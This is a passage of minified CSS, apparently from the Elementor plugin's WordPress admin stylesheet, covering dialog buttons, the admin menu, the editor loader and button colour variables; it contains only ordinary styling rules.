.elementor-button.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover,.e-btn.e-primary.e-btn-txt:focus,.e-btn.e-primary.e-btn-txt:hover,.elementor-button.e-primary.e-btn-txt:focus,.elementor-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}#elementor-deactivate-feedback-modal .e-accent.dialog-skip,#elementor-deactivate-feedback-modal .e-accent.dialog-submit,#elementor-deactivate-feedback-modal .go-pro.dialog-skip,#elementor-deactivate-feedback-modal .go-pro.dialog-submit,.e-btn.e-accent,.e-btn.go-pro,.elementor-button.e-accent,.elementor-button.go-pro{background-color:var(--e-a-btn-bg-accent)}#elementor-deactivate-feedback-modal .e-accent.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-accent.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-accent.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-accent.dialog-submit:hover,#elementor-deactivate-feedback-modal .go-pro.dialog-skip:focus,#elementor-deactivate-feedback-modal .go-pro.dialog-skip:hover,#elementor-deactivate-feedback-modal .go-pro.dialog-submit:focus,#elementor-deactivate-feedback-modal .go-pro.dialog-submit:hover,.e-btn.e-accent:focus,.e-btn.e-accent:hover,.e-btn.go-pro:focus,.e-btn.go-pro:hover,.elementor-button.e-accent:focus,.elementor-button.e-accent:hover,.elementor-button.go-pro:focus,.elementor-button.go-pro:hover{background-color:var(--e-a-btn-bg-accent-hover)}#elementor-deactivate-feedback-modal .e-accent.dialog-skip:active,#elementor-deactivate-feedback-modal .e-accent.dialog-submit:active,#elementor-deactivate-feedback-modal .go-pro.dialog-skip:active,#elementor-deactivate-feedback-modal .go-pro.dialog-submit:active,.e-btn.e-accent:active,.e-btn.go-pro:active,.elementor-button.e-accent:active,.elementor-button.go-pro:active{background-color:var(--e-a-btn-bg-accent-active)}#elementor-deactivate-feedback-modal .e-info.dialog-skip,#elementor-deactivate-feedback-modal .e-info.dialog-submit,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit,.e-btn.e-info,.e-btn.elementor-button-info,.elementor-button.e-info,.elementor-button.elementor-button-info{background-color:var(--e-a-btn-bg-info)}#elementor-deactivate-feedback-modal .e-info.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-info.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-info.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-info.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip:hover,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit:focus,#elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit:hover,.e-btn.e-info:focus,.e-btn.e-info:hover,.e-btn.elementor-button-info:focus,.e-btn.elementor-button-info:hover,.elementor-button.e-info:focus,.elementor-button.e-info:hover,.elementor-button.elementor-button-info:focus,.elementor-button.elementor-button-info:hover{background-color:var(--e-a-btn-bg-info-hover)}#elementor-deactivate-feedback-modal .e-warning.dialog-skip,#elementor-deactivate-feedback-modal .e-warning.dialog-submit,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit,.e-btn.e-warning,.e-btn.elementor-button-warning,.elementor-button.e-warning,.elementor-button.elementor-button-warning{background-color:var(--e-a-btn-bg-warning)}#elementor-deactivate-feedback-modal .e-warning.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-warning.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-warning.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-warning.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip:hover,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit:focus,#elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit:hover,.e-btn.e-warning:focus,.e-btn.e-warning:hover,.e-btn.elementor-button-warning:focus,.e-btn.elementor-button-warning:hover,.elementor-button.e-warning:focus,.elementor-button.e-warning:hover,.elementor-button.elementor-button-warning:focus,.elementor-button.elementor-button-warning:hover{background-color:var(--e-a-btn-bg-warning-hover)}#elementor-deactivate-feedback-modal .e-danger.dialog-skip,#elementor-deactivate-feedback-modal .e-danger.dialog-submit,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit,.e-btn.e-danger,.e-btn.elementor-button-danger,.elementor-button.e-danger,.elementor-button.elementor-button-danger{background-color:var(--e-a-btn-bg-danger)}#elementor-deactivate-feedback-modal .e-danger.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-danger.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-danger.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-danger.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip:hover,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit:focus,#elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit:hover,.e-btn.e-danger:focus,.e-btn.e-danger:hover,.e-btn.elementor-button-danger:focus,.e-btn.elementor-button-danger:hover,.elementor-button.e-danger:focus,.elementor-button.e-danger:hover,.elementor-button.elementor-button-danger:focus,.elementor-button.elementor-button-danger:hover{background-color:var(--e-a-btn-bg-danger-hover)}#elementor-deactivate-feedback-modal .dialog-skip i,#elementor-deactivate-feedback-modal .dialog-submit i,.e-btn i,.elementor-button i{margin-inline-end:5px}#adminmenu #toplevel_page_elementor div.wp-menu-image:before{content:"\e813";font-family:eicons;font-size:18px;margin-block-start:1px}#adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"]{font-weight:600;background-color:#93003f;color:#fff;margin:3px 10px 0;display:block;text-align:center;border-radius:3px;transition:all .3s}#adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"]:focus,#adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"]:hover{background-color:#c60055;box-shadow:none}#adminmenu #menu-posts-elementor_library .wp-menu-image:before{content:"\e8ff";font-family:eicons;font-size:18px}#e-admin-menu__kit-library{color:#5cb85c}.elementor-plugins-gopro{color:#93003f;font-weight:700}.elementor-plugins-gopro:focus,.elementor-plugins-gopro:hover{color:#c60055}#elementor-switch-mode{margin:15px 0}#elementor-editor-button,#elementor-switch-mode-button{outline:none;cursor:pointer}#elementor-editor-button i,#elementor-switch-mode-button i{margin-inline-end:3px;font-size:125%;font-style:normal}body.elementor-editor-active .elementor-switch-mode-off{display:none}body.elementor-editor-active #elementor-switch-mode-button{background-color:#f7f7f7;color:#555;border-color:#ccc;box-shadow:0 1px 0 #ccc!important;text-shadow:unset}body.elementor-editor-active #elementor-switch-mode-button:hover{background-color:#e9e9e9}body.elementor-editor-active #elementor-switch-mode-button:active{box-shadow:inset 0 1px 0 #ccc;transform:translateY(1px)}body.elementor-editor-active #postdivrich{display:none!important}body.elementor-editor-active .block-editor-block-list__layout,body.elementor-editor-active .editor-block-list__layout,body.elementor-editor-inactive #elementor-editor,body.elementor-editor-inactive .elementor-switch-mode-on{display:none}body.elementor-editor-active .edit-post-layout__content .edit-post-visual-editor{flex-basis:auto}body.elementor-editor-active #elementor-editor{margin-block-end:50px}body.elementor-editor-active .edit-post-text-editor__body .editor-post-text-editor{display:none}body.elementor-editor-active :is(.is-desktop-preview,.is-tablet-preview,.is-mobile-preview) :is(.editor-styles-wrapper,iframe[name=editor-canvas]){height:auto!important;padding:0!important;flex:0!important}body .block-editor #elementor-switch-mode{margin:0 15px}body .block-editor #elementor-switch-mode .button{margin:2px;height:33px;font-size:13px;line-height:1}body .block-editor #elementor-switch-mode .button i{padding-inline-end:5px}.elementor-button{font-size:13px;text-decoration:none;padding:15px 40px}#elementor-editor{height:300px;width:100%;transition:all .5s ease}#elementor-editor .elementor-loader-wrapper{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);width:300px;display:flex;flex-direction:column;align-items:center;gap:30px}#elementor-editor .elementor-loader{border-radius:50%;padding:40px;height:150px;width:150px;background-color:var(--e-a-bg-active);box-sizing:border-box;box-shadow:2px 2px 20px 4px rgba(0,0,0,.02)}#elementor-editor .elementor-loader-boxes{height:100%;width:100%;position:relative}#elementor-editor .elementor-loader-box{position:absolute;background-color:var(--e-a-color-txt-hover);animation:load 1.8s linear infinite}#elementor-editor .elementor-loader-box:first-of-type{width:20%;height:100%;left:0;top:0}#elementor-editor .elementor-loader-box:not(:first-of-type){right:0;height:20%;width:60%}#elementor-editor .elementor-loader-box:nth-of-type(2){top:0;animation-delay:calc(1.8s / 4 * -1)}#elementor-editor .elementor-loader-box:nth-of-type(3){top:40%;animation-delay:calc(1.8s / 4 * -2)}#elementor-editor .elementor-loader-box:nth-of-type(4){bottom:0;animation-delay:calc(1.8s / 4 * -3)}#elementor-editor .elementor-loading-title{color:var(--e-a-color-txt);text-align:center;text-transform:uppercase;letter-spacing:7px;text-indent:7px;font-size:10px;width:100%}#elementor-go-to-edit-page-link{height:100%;display:flex;justify-content:center;align-items:center;border:1px solid #ddd;background-color:#f7f7f7;text-decoration:none;position:relative;font-family:Sans-serif}#elementor-go-to-edit-page-link:hover{background-color:#fff}#elementor-go-to-edit-page-link:focus{box-shadow:none}#elementor-go-to-edit-page-link.elementor-animate #elementor-editor-button,#elementor-go-to-edit-page-link:not(.elementor-animate) .elementor-loader-wrapper{display:none}.elementor-button-spinner:before{font:normal 20px/.5 dashicons;speak:none;display:inline-block;padding:0;inset-block-start:8px;inset-inline-start:-4px;position:relative;vertical-align:top;content:"\f463"}.elementor-button-spinner.loading:before{animation:rotation 1s linear infinite}.elementor-button-spinner.success:before{content:"\f147";color:#46b450}.elementor-blank_state{padding:5em 0;margin:auto;max-width:520px;text-align:center;font-family:var(--e-a-font-family)}.elementor-blank_state i{font-size:50px}.elementor-blank_state h3{font-size:32px;font-weight:300;color:inherit;margin:20px 0 10px;line-height:1.2}.elementor-blank_state p{font-size:16px;font-weight:400;margin-block-end:40px}.elementor-blank_state .elementor-button{display:inline-block}#available-widgets [class*=elementor-template] .widget-title:before{content:"\e813";font-family:eicons;font-size:17px}.elementor-settings-form-page{padding-block-start:30px}._elementor_settings_update_time,.elementor-settings-form-page:not(.elementor-active){display:none}#tab-advanced .form-table tr:not(:last-child),#tab-experiments .form-table tr:not(:last-child),#tab-performance .form-table tr:not(:last-child){border-block-end:1px solid #dcdcde}#tab-advanced .form-table tr .description,#tab-experiments .form-table tr .description,#tab-performance .form-table tr .description{font-size:.9em;margin:10px 0;max-width:820px}body.post-type-attachment table.media .column-title .media-icon img[src$=".svg"]{width:100%}.e-major-update-warning{margin-block-end:5px;max-width:1000px;display:flex}.e-major-update-warning__separator{margin:15px -12px}.e-major-update-warning__icon{font-size:17px;margin-inline-end:9px;margin-inline-start:2px}.e-major-update-warning__title{font-weight:600;margin-block-end:10px}.e-major-update-warning+p{display:none}.notice-success .e-major-update-warning__separator{border:1px solid #46b450}.notice-success .e-major-update-warning__icon{color:#79ba49}.notice-warning .e-major-update-warning__separator{border:1px solid #ffb900}.notice-warning .e-major-update-warning__icon{color:#f56e28}.plugins table.e-compatibility-update-table tr{background:transparent}.plugins table.e-compatibility-update-table tr th{font-weight:600}.plugins table.e-compatibility-update-table tr td,.plugins table.e-compatibility-update-table tr th{min-width:250px;font-size:13px;background:transparent;box-shadow:none;border:none;padding-block-start:5px;padding-block-end:5px;padding-inline-end:15px;padding-inline-start:0}.dialog-widget-content{background-color:var(--e-a-bg-default);position:absolute;border-radius:3px;box-shadow:2px 8px 23px 3px rgba(0,0,0,.2);overflow:hidden}.dialog-message{line-height:1.5;box-sizing:border-box}.dialog-close-button{cursor:pointer;position:absolute;margin-block-start:15px;inset-inline-end:15px;color:var(--e-a-color-txt);font-size:15px;line-height:1;transition:var(--e-a-transition-hover)}.dialog-close-button:hover{color:var(--e-a-color-txt-hover)}.dialog-prevent-scroll{overflow:hidden;max-height:100vh}.dialog-type-lightbox{position:fixed;height:100%;width:100%;bottom:0;left:0;background-color:rgba(0,0,0,.8);z-index:9999;-webkit-user-select:none;-moz-user-select:none;user-select:none}.elementor-editor-active .elementor-popup-modal{background-color:initial}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}:root{--e-focus-color:rgba(0,115,170,0.4);--e-context-primary-color:#0073aa;--e-context-primary-color-dark:#005177;--e-context-primary-tint-4:rgba(0,115,170,0.4);--e-context-primary-tint-1:rgba(0,115,170,0.04);--e-context-success-color:#0a875a;--e-context-success-color-dark:#06583a;--e-context-success-tint-4:rgba(10,135,90,0.4);--e-context-success-tint-1:rgba(10,135,90,0.04);--e-context-info-color:#2563eb;--e-context-info-color-dark:#134cca;--e-context-info-tint-4:rgba(37,99,235,0.4);--e-context-info-tint-1:rgba(37,99,235,0.04);--e-context-warning-color:#f59e0b;--e-context-warning-color-dark:#c57f08;--e-context-warning-tint-4:rgba(245,158,11,0.4);--e-context-warning-tint-1:rgba(245,158,11,0.04);--e-context-error-color:#dc2626;--e-context-error-color-dark:#b21d1d;--e-context-error-tint-4:rgba(220,38,38,0.4);--e-context-error-tint-1:rgba(220,38,38,0.04);--e-context-cta-color:#524cff;--e-context-cta-color-dark:#2119ff;--e-context-cta-tint-4:rgba(82,76,255,0.4);--e-context-cta-tint-1:rgba(82,76,255,0.04)}.e-getting-started{max-width:900px;padding:2.5em 0;margin:auto;text-align:center}.e-getting-started__header{display:flex;flex-direction:row;justify-content:space-between;align-items:center;box-shadow:0 0 8px rgba(0,0,0,.1)}.e-getting-started__header .e-logo-wrapper{font-size:10px;margin-inline-end:10px}.e-getting-started__title{padding:0 15px;font-weight:600;text-transform:uppercase;display:flex;align-items:center}.e-getting-started__skip{border-inline-start:1px solid #eee;font-size:16px;color:inherit}.e-getting-started__skip i{padding:15px}.e-getting-started__content{padding:50px}.e-getting-started__content h2{font-size:2em;margin-block-start:0}.e-getting-started__content--narrow{max-width:500px;margin:auto}.e-getting-started__video{margin:40px 0 60px}.e-getting-started__video iframe{box-shadow:10px 10px 20px rgba(0,0,0,.15)}.e-getting-started__actions .button-primary{margin-inline-end:20px}:root{--e-button-padding-block:0.4375rem;--e-button-padding-inline:0.75rem;--e-button-font-size:0.8125rem;--e-button-font-weight:500;--e-button-line-height:0.9375rem;--e-button-border-radius:3px;--e-button-context-color:var(--e-context-primary-color);--e-button-context-color-dark:var(--e-context-primary-color-dark);--e-button-context-tint:var(--e-context-primary-tint-1)}.e-button{display:inline-block;font-weight:var(--e-button-font-weight);text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;user-select:none;color:#fff;border:0;text-decoration:none;background:var(--e-button-context-color);padding:var(--e-button-padding-block) var(--e-button-padding-inline);font-size:var(--e-button-font-size);line-height:var(--e-button-line-height);border-radius:var(--e-button-border-radius);transition:background-color .15s ease-in-out,box-shadow .15s ease-in-out}.e-button:active,.e-button:focus,.e-button:hover{color:#fff;text-decoration:none;background:var(--e-button-context-color-dark)}.e-button.focus,.e-button:focus{outline:0;box-shadow:0 0 0 2px var(--e-focus-color)}.e-button.disabled,.e-button:disabled{opacity:.5;box-shadow:none}.e-button:not(:disabled):not(.disabled){cursor:pointer}.e-button:not(:disabled):not(.disabled).active:focus,.e-button:not(:disabled):not(.disabled):active:focus{box-shadow:0 0 0 2px var(--e-focus-color)}.e-button--primary{--e-button-context-color:var(--e-context-primary-color);--e-button-context-color-dark:var(--e-context-primary-color-dark);--e-button-context-tint:var(--e-context-primary-tint-1);--e-focus-color:var(--e-context-primary-tint-4)}.e-button--success{--e-button-context-color:var(--e-context-success-color);--e-button-context-color-dark:var(--e-context-success-color-dark);--e-button-context-tint:var(--e-context-success-tint-1);--e-focus-color:var(--e-context-success-tint-4)}.e-button--info{--e-button-context-color:var(--e-context-info-color);--e-button-context-color-dark:var(--e-context-info-color-dark);--e-button-context-tint:var(--e-context-info-tint-1);--e-focus-color:var(--e-context-info-tint-4)}.e-button--warning{--e-button-context-color:var(--e-context-warning-color);--e-button-context-color-dark:var(--e-context-warning-color-dark);--e-button-context-tint:var(--e-context-warning-tint-1);--e-focus-color:var(--e-context-warning-tint-4)}.e-button--error{--e-button-context-color:var(--e-context-error-color);--e-button-context-color-dark:var(--e-context-error-color-dark);--e-button-context-tint:var(--e-context-error-tint-1);--e-focus-color:var(--e-context-error-tint-4)}.e-button--cta{--e-button-context-color:var(--e-context-cta-color);--e-button-context-color-dark:var(--e-context-cta-color-dark);--e-button-context-tint:var(--e-context-cta-tint-1);--e-focus-color:var(--e-context-cta-tint-4)}.e-button.e-button--outline{color:var(--e-button-context-color);background:none;border:1px 